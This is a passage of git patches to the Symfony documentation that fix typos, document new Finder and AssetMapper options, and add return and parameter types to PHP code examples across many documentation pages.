@@ -180,13 +180,13 @@ entity and a new constraint group called ``Premium``:
         class User
         {
             #[Assert\NotBlank]
-            private $name;
+            private string $name;
 
             #[Assert\CardScheme(
                 schemes: [Assert\CardScheme::VISA],
                 groups: ['Premium'],
             )]
-            private $creditCard;
+            private string $creditCard;
 
             // ...
         }
@@ -241,8 +241,8 @@ entity and a new constraint group called ``Premium``:
 
         class User
         {
-            private $name;
-            private $creditCard;
+            private string $name;
+            private string $creditCard;
 
             // ...
 

From fa32287e6d6ddc7e61e2ee68b17cedcd63dc2402 Mon Sep 17 00:00:00 2001
From: Fanny Gautier <fannygautier92@gmail.com>
Date: Wed, 12 Jul 2023 09:51:22 +0000
Subject: [PATCH 3508/5766] docs: fix typo

---
 components/uid.rst                    | 2 +-
 reference/configuration/framework.rst | 2 +-
 routing.rst                           | 2 +-
 setup/symfony_server.rst              | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 0b1f6f1c030..52403513995 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -572,7 +572,7 @@ commands to learn about all their options):
     # generate 1 ULID with a specific timestamp
     $ php bin/console ulid:generate --time="2021-02-02 14:00:00"
 
-    # generate 2 ULIDs and ouput them in RFC4122 format
+    # generate 2 ULIDs and output them in RFC4122 format
     $ php bin/console ulid:generate --count=2 --format=rfc4122
 
 In addition to generating new UIDs, you can also inspect them with the following
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 1be9be371df..7b1122551b0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -58,7 +58,7 @@ handle_all_throwables
 **type**: ``boolean`` **default**: ``false``
 
 If set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
-thrown by the application and will turn them into HTTP reponses.
+thrown by the application and will turn them into HTTP responses.
 
 Starting from Symfony 7.0, the default value of this option will be ``true``.
 
diff --git a/routing.rst b/routing.rst
index 79ccf79bb38..b6e2195d601 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2672,7 +2672,7 @@ service, which you can inject in your services or controllers::
         {
             // ...
 
-            // generate a URL youself or get it somehow...
+            // generate a URL yourself or get it somehow...
             $url = 'https://example.com/foo/bar?sort=desc';
 
             // sign the URL (it adds a query parameter called '_hash')
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c89a3e23f2a..a12feb7a5c4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -60,7 +60,7 @@ run the Symfony server in the background:
 
     On macOS, when starting the Symfony server you might see a warning dialog asking
     *"Do you want the application to accept incoming network connections?"*.
-    This happens when running unsigned appplications that are not listed in the
+    This happens when running unsigned applications that are not listed in the
     firewall list. The solution is to run this command that signs the Symfony binary:
 
     .. code-block:: terminal

From 4b08ee6704cb3054386f337abbeff1bbd588ae1c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20Vo=C5=99=C3=AD=C5=A1ek?= <mvorisek@mvorisek.cz>
Date: Wed, 12 Jul 2023 21:41:54 +0200
Subject: [PATCH 3509/5766] [Finder docs] Add early directory prunning filter
 support

Co-authored-by: Alexis Lefebvre <alexislefebvre@gmail.com>
---
 components/finder.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/finder.rst b/components/finder.rst
index 27dd6709b6d..9f8d5860f9c 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -329,6 +329,12 @@ it is called with the file as a :class:`Symfony\\Component\\Finder\\SplFileInfo`
 instance. The file is excluded from the result set if the Closure returns
 ``false``.
 
+.. versionadded:: 6.4
+
+Since Symfony 6.4, a filter can prune directories early, pass ``true`` as the second
+parameter for the ``filter()`` method and when the Closure returns ``false`` the deeper
+levels will not be traversed.
+
 Sorting Results
 ---------------
 

From f95a5078ddc95e4cbd4cb2b0b806f4138f115be1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 12 Jul 2023 22:32:22 +0200
Subject: [PATCH 3510/5766] Adding `importmap_polyfill` (second attempt)

As requested at https://github.com/symfony/symfony-docs/pull/18537#discussion_r1259857287
---
 frontend/asset_mapper.rst | 18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index b7ca7a8a1c9..ac79b029c92 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -289,7 +289,8 @@ Preloading and Initializing "app.js"
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `ES module shim`_ and a few other things, like a set of "preloads":
+an `ES module shim`_ (see the :ref:`config-importmap-polyfill <polyfill config>` and
+a few other things, like a set of "preloads":
 
 .. code-block:: html
 
@@ -1027,6 +1028,21 @@ This is a list of glob patterns that will be excluded from the asset map:
 You can use the ``debug:asset-map`` command to double-check that the files
 you expect are being included in the asset map.
 
+.. _config-importmap-polyfill:
+
+``framework.asset_mapper.importmap_polyfill``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Configure the polyfill for older browsers. Default is `ES module shim`_. You can pass
+any URL to be included, or `false` to disable the polyfill.
+
+.. code-block:: yaml
+
+    framework:
+        asset_mapper:
+            importmap_polyfill: false # disable the shim ...
+            # importmap_polyfill: 'https://...' # ... or pass some custom URL
+
 ``framework.asset_mapper.importmap_script_attributes``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 0a00d17c6c879bbdf385ae4b0a5a383bb1f2e050 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 13 Jul 2023 11:34:31 +0200
Subject: [PATCH 3511/5766] Add return types and parameter types

---
 best_practices.rst                            |  4 +-
 bundles/configuration.rst                     | 14 ++---
 bundles/extension.rst                         |  6 +--
 bundles/prepend_extension.rst                 |  4 +-
 cache.rst                                     |  5 +-
 components/asset.rst                          |  4 +-
 components/browser_kit.rst                    |  2 +-
 components/config/definition.rst              |  8 +--
 components/config/resources.rst               |  4 +-
 .../console/changing_default_command.rst      |  6 ++-
 components/console/console_arguments.rst      |  4 +-
 components/console/helpers/questionhelper.rst |  2 +-
 components/console/logger.rst                 |  6 ++-
 components/dependency_injection.rst           |  2 +-
 .../dependency_injection/compilation.rst      | 24 ++++-----
 components/event_dispatcher.rst               | 14 ++---
 components/event_dispatcher/generic_event.rst |  6 +--
 components/expression_language.rst            |  2 +-
 components/form.rst                           | 15 ++++--
 components/http_foundation.rst                |  2 +-
 components/http_kernel.rst                    |  2 +-
 components/messenger.rst                      |  2 +-
 components/options_resolver.rst               | 52 +++++++++----------
 components/phpunit_bridge.rst                 | 24 ++++-----
 components/property_access.rst                | 12 ++---
 components/serializer.rst                     | 34 ++++++------
 components/string.rst                         |  2 +-
 components/validator/metadata.rst             | 10 ++--
 components/var_dumper.rst                     |  8 +--
 configuration.rst                             |  2 +-
 configuration/env_var_processors.rst          |  4 +-
 configuration/micro_kernel_trait.rst          |  2 +-
 configuration/using_parameters_in_dic.rst     |  4 +-
 console.rst                                   |  2 +-
 console/input.rst                             |  2 +-
 contributing/code/standards.rst               |  2 +-
 contributing/documentation/standards.rst      |  2 +-
 controller/upload_file.rst                    |  5 +-
 create_framework/event_dispatcher.rst         | 14 ++---
 create_framework/http_foundation.rst          |  2 +-
 .../http_kernel_controller_resolver.rst       | 14 ++---
 .../http_kernel_httpkernel_class.rst          |  8 +--
 .../http_kernel_httpkernelinterface.rst       |  2 +-
 create_framework/separation_of_concerns.rst   |  6 +--
 create_framework/templating.rst               |  6 +--
 create_framework/unit_testing.rst             |  8 +--
 event_dispatcher.rst                          |  4 +-
 form/data_mappers.rst                         |  2 +-
 form/embedded.rst                             |  2 +-
 form/unit_testing.rst                         | 10 ++--
 frontend/custom_version_strategy.rst          |  6 +--
 http_cache.rst                                |  3 +-
 http_cache/cache_vary.rst                     |  2 +-
 http_cache/esi.rst                            |  4 +-
 http_cache/expiration.rst                     |  4 +-
 lock.rst                                      |  9 ++--
 logging.rst                                   |  3 +-
 logging/monolog_console.rst                   |  8 ++-
 mailer.rst                                    |  4 +-
 mercure.rst                                   |  2 +-
 messenger.rst                                 | 19 +++----
 messenger/dispatch_after_current_bus.rst      |  4 +-
 messenger/handler_results.rst                 |  2 +-
 migration.rst                                 |  2 +-
 notifier.rst                                  | 13 +++--
 performance.rst                               |  2 +-
 profiler.rst                                  | 13 ++---
 quick_tour/the_architecture.rst               |  2 +-
 rate_limiter.rst                              |  8 +--
 reference/configuration/doctrine.rst          |  2 +-
 reference/constraints/Callback.rst            |  6 +--
 reference/constraints/Choice.rst              |  2 +-
 reference/constraints/Expression.rst          | 10 ++--
 reference/constraints/Json.rst                |  2 +-
 reference/constraints/Traverse.rst            |  2 +-
 reference/constraints/Ulid.rst                |  2 +-
 reference/constraints/When.rst                |  8 +--
 reference/dic_tags.rst                        | 14 ++---
 reference/events.rst                          | 12 ++---
 reference/formats/expression_language.rst     |  2 +-
 reference/forms/types/file.rst                |  2 +-
 routing.rst                                   |  4 +-
 routing/custom_route_loader.rst               | 10 ++--
 security.rst                                  |  2 +-
 security/impersonating_user.rst               |  2 +-
 security/login_link.rst                       | 11 ++--
 security/passwords.rst                        |  5 +-
 serializer/custom_context_builders.rst        |  4 +-
 serializer/custom_encoders.rst                |  8 +--
 serializer/custom_normalizer.rst              |  4 +-
 service_container/autowiring.rst              |  2 +-
 service_container/request.rst                 |  2 +-
 .../service_subscribers_locators.rst          | 12 ++---
 session.rst                                   | 12 ++---
 templates.rst                                 | 16 +++---
 testing.rst                                   | 10 ++--
 testing/database.rst                          |  6 +--
 testing/profiling.rst                         |  2 +-
 translation.rst                               | 11 ++--
 validation/custom_constraint.rst              |  9 ++--
 validation/groups.rst                         |  2 +-
 validation/raw_values.rst                     |  2 +-
 validation/sequence_provider.rst              | 10 ++--
 web_link.rst                                  |  3 +-
 workflow/workflow-and-state-machine.rst       |  2 +-
 105 files changed, 370 insertions(+), 338 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 403c9920018..d500cfc34e0 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -411,7 +411,7 @@ checks that all application URLs load successfully::
         /**
          * @dataProvider urlProvider
          */
-        public function testPageIsSuccessful($url)
+        public function testPageIsSuccessful($url): void
         {
             $client = self::createClient();
             $client->request('GET', $url);
@@ -419,7 +419,7 @@ checks that all application URLs load successfully::
             $this->assertResponseIsSuccessful();
         }
 
-        public function urlProvider()
+        public function urlProvider(): \Generator
         {
             yield ['/'];
             yield ['/posts'];
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index bc9efc1e0b9..4a2224429ed 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -183,7 +183,7 @@ The ``Configuration`` class to handle the sample configuration looks like::
 
     class Configuration implements ConfigurationInterface
     {
-        public function getConfigTreeBuilder()
+        public function getConfigTreeBuilder(): TreeBuilder
         {
             $treeBuilder = new TreeBuilder('acme_social');
 
@@ -217,7 +217,7 @@ force validation (e.g. if an additional option was passed, an exception will be
 thrown)::
 
     // src/Acme/SocialBundle/DependencyInjection/AcmeSocialExtension.php
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
 
@@ -259,7 +259,7 @@ In your extension, you can load this and dynamically set its arguments::
     use Symfony\Component\Config\FileLocator;
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $loader = new XmlFileLoader($container, new FileLocator(dirname(__DIR__).'/Resources/config'));
         $loader->load('services.xml');
@@ -288,7 +288,7 @@ In your extension, you can load this and dynamically set its arguments::
         class AcmeHelloExtension extends ConfigurableExtension
         {
             // note that this method is called loadInternal and not load
-            protected function loadInternal(array $mergedConfig, ContainerBuilder $container)
+            protected function loadInternal(array $mergedConfig, ContainerBuilder $container): void
             {
                 // ...
             }
@@ -304,7 +304,7 @@ In your extension, you can load this and dynamically set its arguments::
     (e.g. by overriding configurations and using :phpfunction:`isset` to check
     for the existence of a value). Be aware that it'll be very hard to support XML::
 
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             $config = [];
             // let resources override the previous set value
@@ -458,7 +458,7 @@ the extension. You might want to change this to a more professional URL::
     {
         // ...
 
-        public function getNamespace()
+        public function getNamespace(): string
         {
             return 'http://acme_company.com/schema/dic/hello';
         }
@@ -490,7 +490,7 @@ can place it anywhere you like. You should return this path as the base path::
     {
         // ...
 
-        public function getXsdValidationBasePath()
+        public function getXsdValidationBasePath(): string
         {
             return __DIR__.'/../Resources/config/schema';
         }
diff --git a/bundles/extension.rst b/bundles/extension.rst
index f831efdaf5b..ff873f2ab14 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
 
     class AcmeHelloExtension extends Extension
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             // ... you'll load the files here later
         }
@@ -90,7 +90,7 @@ For instance, assume you have a file called ``services.xml`` in the
     use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;
 
     // ...
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $loader = new XmlFileLoader(
             $container,
@@ -167,7 +167,7 @@ they are compiled when generating the application cache to improve the overall
 performance. Define the list of annotated classes to compile in the
 ``addAnnotatedClassesToCompile()`` method::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         // ...
 
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 8d28080470f..fcad249124e 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -31,7 +31,7 @@ To give an Extension the power to do this, it needs to implement
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $container): void
         {
             // ...
         }
@@ -52,7 +52,7 @@ a configuration setting in multiple bundles as well as disable a flag in multipl
 in case a specific other bundle is not registered::
 
     // src/Acme/HelloBundle/DependencyInjection/AcmeHelloExtension.php
-    public function prepend(ContainerBuilder $container)
+    public function prepend(ContainerBuilder $container): void
     {
         // get all bundles
         $bundles = $container->getParameter('kernel.bundles');
diff --git a/cache.rst b/cache.rst
index e739d27f4d4..f0bde04114f 100644
--- a/cache.rst
+++ b/cache.rst
@@ -307,9 +307,10 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
 ``Psr\Cache\CacheItemPoolInterface``::
 
     use Symfony\Contracts\Cache\CacheInterface;
+    // ...
 
     // from a controller method
-    public function listProducts(CacheInterface $customThingCache)
+    public function listProducts(CacheInterface $customThingCache): Response
     {
         // ...
     }
@@ -555,7 +556,7 @@ the same key could be invalidated with one function call::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             $value0 = $this->myCachePool->get('item_0', function (ItemInterface $item): string {
                 $item->tag(['foo', 'bar']);
diff --git a/components/asset.rst b/components/asset.rst
index 8ffdbd7e41d..5fa966bb85b 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -210,12 +210,12 @@ every day::
             $this->version = date('Ymd');
         }
 
-        public function getVersion(string $path)
+        public function getVersion(string $path): \DateTimeInterface
         {
             return $this->version;
         }
 
-        public function applyVersion(string $path)
+        public function applyVersion(string $path): string
         {
             return sprintf('%s?v=%s', $path, $this->getVersion($path));
         }
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index fe90031f31f..85aaf88a520 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -38,7 +38,7 @@ This method accepts a request and should return a response::
 
     class Client extends AbstractBrowser
     {
-        protected function doRequest($request)
+        protected function doRequest($request): Response
         {
             // ... convert request into a response
 
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 8dab6d2163e..f784048f233 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -54,7 +54,7 @@ implements the :class:`Symfony\\Component\\Config\\Definition\\ConfigurationInte
 
     class DatabaseConfiguration implements ConfigurationInterface
     {
-        public function getConfigTreeBuilder()
+        public function getConfigTreeBuilder(): TreeBuilder
         {
             $treeBuilder = new TreeBuilder('database');
 
@@ -540,7 +540,9 @@ be large and you may want to split it up into sections. You can do this
 by making a section a separate node and then appending it into the main
 tree with ``append()``::
 
-    public function getConfigTreeBuilder()
+    use Symfony\Component\Config\Definition\Builder\NodeDefinition;
+
+    public function getConfigTreeBuilder(): TreeBuilder
     {
         $treeBuilder = new TreeBuilder('database');
 
@@ -569,7 +571,7 @@ tree with ``append()``::
         return $treeBuilder;
     }
 
-    public function addParametersNode()
+    public function addParametersNode(): NodeDefinition
     {
         $treeBuilder = new TreeBuilder('parameters');
 
diff --git a/components/config/resources.rst b/components/config/resources.rst
index 22bdd2b34e9..22f66e74332 100644
--- a/components/config/resources.rst
+++ b/components/config/resources.rst
@@ -43,7 +43,7 @@ which allows for recursively importing other resources::
 
     class YamlUserLoader extends FileLoader
     {
-        public function load($resource, $type = null)
+        public function load($resource, $type = null): void
         {
             $configValues = Yaml::parse(file_get_contents($resource));
 
@@ -54,7 +54,7 @@ which allows for recursively importing other resources::
             // $this->import('extra_users.yaml');
         }
 
-        public function supports($resource, $type = null)
+        public function supports($resource, $type = null): bool
         {
             return is_string($resource) && 'yaml' === pathinfo(
                 $resource,
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index f8b100993a9..b739e3b39ba 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -15,14 +15,16 @@ name to the ``setDefaultCommand()`` method::
     #[AsCommand(name: 'hello:world')]
     class HelloWorldCommand extends Command
     {
-        protected function configure()
+        protected function configure(): void
         {
             $this->setDescription('Outputs "Hello World"');
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $output->writeln('Hello World');
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/components/console/console_arguments.rst b/components/console/console_arguments.rst
index d7bf141f4ce..da538ac78f1 100644
--- a/components/console/console_arguments.rst
+++ b/components/console/console_arguments.rst
@@ -22,7 +22,7 @@ Have a look at the following command that has three options::
     #[AsCommand(name: 'demo:args', description: 'Describe args behaviors')]
     class DemoArgsCommand extends Command
     {
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setDefinition(
@@ -34,7 +34,7 @@ Have a look at the following command that has three options::
                 );
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
         }
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 5729c112af1..0f8aa5f08c3 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -488,7 +488,7 @@ from the command line, you need to set the inputs that the command expects::
     use Symfony\Component\Console\Tester\CommandTester;
 
     // ...
-    public function testExecute()
+    public function testExecute(): void
     {
         // ...
         $commandTester = new CommandTester($command);
diff --git a/components/console/logger.rst b/components/console/logger.rst
index afeab7dd0cb..4af0b9a3f2f 100644
--- a/components/console/logger.rst
+++ b/components/console/logger.rst
@@ -21,7 +21,7 @@ PSR-3 compliant logger::
         ) {
         }
 
-        public function doStuff()
+        public function doStuff(): void
         {
             $this->logger->info('I love Tony Vairelles\' hairdresser.');
         }
@@ -44,12 +44,14 @@ You can rely on the logger to use this dependency inside a command::
     )]
     class MyCommand extends Command
     {
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $logger = new ConsoleLogger($output);
 
             $myDependency = new MyDependency($logger);
             $myDependency->doStuff();
+
+            // ...
         }
     }
 
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index 45ecc6dc194..79b35bf312e 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -126,7 +126,7 @@ it was only optional then you could use setter injection instead::
     {
         private \Mailer $mailer;
 
-        public function setMailer(\Mailer $mailer)
+        public function setMailer(\Mailer $mailer): void
         {
             $this->mailer = $mailer;
         }
diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index edaa8be8f47..a085f76b5e5 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -61,7 +61,7 @@ A very simple extension may just load configuration files into the container::
 
     class AcmeDemoExtension implements ExtensionInterface
     {
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             $loader = new XmlFileLoader(
                 $container,
@@ -90,7 +90,7 @@ The Extension must specify a ``getAlias()`` method to implement the interface::
     {
         // ...
 
-        public function getAlias()
+        public function getAlias(): string
         {
             return 'acme_demo';
         }
@@ -132,7 +132,7 @@ are loaded::
 The values from those sections of the config files are passed into the first
 argument of the ``load()`` method of the extension::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $foo = $configs[0]['foo']; //fooValue
         $bar = $configs[0]['bar']; //barValue
@@ -158,7 +158,7 @@ you could access the config value this way::
     use Symfony\Component\Config\Definition\Processor;
     // ...
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -175,12 +175,12 @@ namespace so that the relevant parts of an XML config file are passed to
 the extension. The other to specify the base path to XSD files to validate
 the XML configuration::
 
-    public function getXsdValidationBasePath()
+    public function getXsdValidationBasePath(): string
     {
         return __DIR__.'/../Resources/config/';
     }
 
-    public function getNamespace()
+    public function getNamespace(): string
     {
         return 'http://www.example.com/symfony/schema/';
     }
@@ -219,7 +219,7 @@ The processed config value can now be added as container parameters as if
 it were listed in a ``parameters`` section of the config file but with the
 additional benefit of merging multiple files and validation of the configuration::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -234,7 +234,7 @@ More complex configuration requirements can be catered for in the Extension
 classes. For example, you may choose to load a main service configuration
 file but also load a secondary one only if a certain parameter is set::
 
-    public function load(array $configs, ContainerBuilder $container)
+    public function load(array $configs, ContainerBuilder $container): void
     {
         $configuration = new Configuration();
         $processor = new Processor();
@@ -292,7 +292,7 @@ method is called by implementing
     {
         // ...
 
-        public function prepend(ContainerBuilder $container)
+        public function prepend(ContainerBuilder $container): void
         {
             // ...
 
@@ -323,7 +323,7 @@ compilation::
 
     class AcmeDemoExtension implements ExtensionInterface, CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ... do something during the compilation
         }
@@ -377,7 +377,7 @@ class implementing the ``CompilerPassInterface``::
 
     class CustomPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ... do something during the compilation
         }
@@ -475,7 +475,7 @@ serves at dumping the compiled container::
     the :ref:`dumpFile() method <filesystem-dumpfile>` from Symfony Filesystem
     component or other methods provided by Symfony (e.g. ``$containerConfigCache->write()``)
     which are atomic.
-    
+
 ``ProjectServiceContainer`` is the default name given to the dumped container
 class. However, you can change this with the ``class`` option when you
 dump it::
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 68d7a5f39e6..9ecce61a4f1 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -162,7 +162,7 @@ the ``Event`` object as the single argument::
     {
         // ...
 
-        public function onFooAction(Event $event)
+        public function onFooAction(Event $event): void
         {
             // ... do something
         }
@@ -349,7 +349,7 @@ Take the following example of a subscriber that subscribes to the
 
     class StoreSubscriber implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 KernelEvents::RESPONSE => [
@@ -360,17 +360,17 @@ Take the following example of a subscriber that subscribes to the
             ];
         }
 
-        public function onKernelResponsePre(ResponseEvent $event)
+        public function onKernelResponsePre(ResponseEvent $event): void
         {
             // ...
         }
 
-        public function onKernelResponsePost(ResponseEvent $event)
+        public function onKernelResponsePost(ResponseEvent $event): void
         {
             // ...
         }
 
-        public function onStoreOrder(OrderPlacedEvent $event)
+        public function onStoreOrder(OrderPlacedEvent $event): void
         {
             // ...
         }
@@ -415,7 +415,7 @@ inside a listener via the
 
     use Acme\Store\Event\OrderPlacedEvent;
 
-    public function onStoreOrder(OrderPlacedEvent $event)
+    public function onStoreOrder(OrderPlacedEvent $event): void
     {
         // ...
 
@@ -458,7 +458,7 @@ is dispatched, are passed as arguments to the listener::
 
     class MyListener
     {
-        public function myEventListener(Event $event, string $eventName, EventDispatcherInterface $dispatcher)
+        public function myEventListener(Event $event, string $eventName, EventDispatcherInterface $dispatcher): void
         {
             // ... do something with the event name
         }
diff --git a/components/event_dispatcher/generic_event.rst b/components/event_dispatcher/generic_event.rst
index dbc37cbe752..d0d2673db09 100644
--- a/components/event_dispatcher/generic_event.rst
+++ b/components/event_dispatcher/generic_event.rst
@@ -54,7 +54,7 @@ Passing a subject::
 
     class FooListener
     {
-        public function handler(GenericEvent $event)
+        public function handler(GenericEvent $event): void
         {
             if ($event->getSubject() instanceof Foo) {
                 // ...
@@ -75,7 +75,7 @@ access the event arguments::
 
     class FooListener
     {
-        public function handler(GenericEvent $event)
+        public function handler(GenericEvent $event): void
         {
             if (isset($event['type']) && 'foo' === $event['type']) {
                 // ... do something
@@ -94,7 +94,7 @@ Filtering data::
 
     class FooListener
     {
-        public function filter(GenericEvent $event)
+        public function filter(GenericEvent $event): void
         {
             $event['data'] = strtolower($event['data']);
         }
diff --git a/components/expression_language.rst b/components/expression_language.rst
index f936efdb112..8d075425c26 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -322,7 +322,7 @@ register::
 
     class StringExpressionLanguageProvider implements ExpressionFunctionProviderInterface
     {
-        public function getFunctions()
+        public function getFunctions(): array
         {
             return [
                 new ExpressionFunction('lowercase', function ($str): string {
diff --git a/components/form.rst b/components/form.rst
index 79763fcacbe..33dfb37ad52 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -392,10 +392,11 @@ is created from the form factory.
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
         use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpFoundation\Response;
 
         class TaskController extends AbstractController
         {
-            public function new(Request $request)
+            public function new(Request $request): Response
             {
                 // createFormBuilder is a shortcut to get the "form factory"
                 // and then call "createBuilder()" on it
@@ -451,10 +452,11 @@ an "edit" form), pass in the default data when creating your form builder:
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\Response;
 
         class DefaultController extends AbstractController
         {
-            public function new(Request $request)
+            public function new(Request $request): Response
             {
                 $defaults = [
                     'dueDate' => new \DateTime('tomorrow'),
@@ -536,10 +538,11 @@ by :method:`Symfony\\Component\\Form\\Form::handleRequest` to determine whether
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\Form\Extension\Core\Type\FormType;
+        use Symfony\Component\HttpFoundation\Response;
 
         class DefaultController extends AbstractController
         {
-            public function search()
+            public function search(): Response
             {
                 $formBuilder = $this->createFormBuilder(null, [
                     'action' => '/search',
@@ -581,10 +584,11 @@ method:
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\Response;
 
         class TaskController extends AbstractController
         {
-            public function new(Request $request)
+            public function new(Request $request): Response
             {
                 $form = $this->createFormBuilder()
                     ->add('task', TextType::class)
@@ -676,12 +680,13 @@ option when building each field:
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\Form\Extension\Core\Type\DateType;
         use Symfony\Component\Form\Extension\Core\Type\TextType;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Constraints\Type;
 
         class DefaultController extends AbstractController
         {
-            public function new(Request $request)
+            public function new(Request $request): Response
             {
                 $form = $this->createFormBuilder()
                     ->add('task', TextType::class, [
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ee1ae532f87..6a3719f008d 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -790,7 +790,7 @@ methods. You can inject this as a service anywhere in your application::
         ) {
         }
 
-        public function normalize($user)
+        public function normalize($user): array
         {
             return [
                 'avatar' => $this->urlHelper->getAbsoluteUrl($user->avatar()->path()),
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 2c3e5266a20..be3a723984e 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -706,7 +706,7 @@ look like this::
     use Symfony\Component\HttpKernel\Event\RequestEvent;
     // ...
 
-    public function onKernelRequest(RequestEvent $event)
+    public function onKernelRequest(RequestEvent $event): void
     {
         if (!$event->isMainRequest()) {
             return;
diff --git a/components/messenger.rst b/components/messenger.rst
index 14f220623e2..f52ca72e40d 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
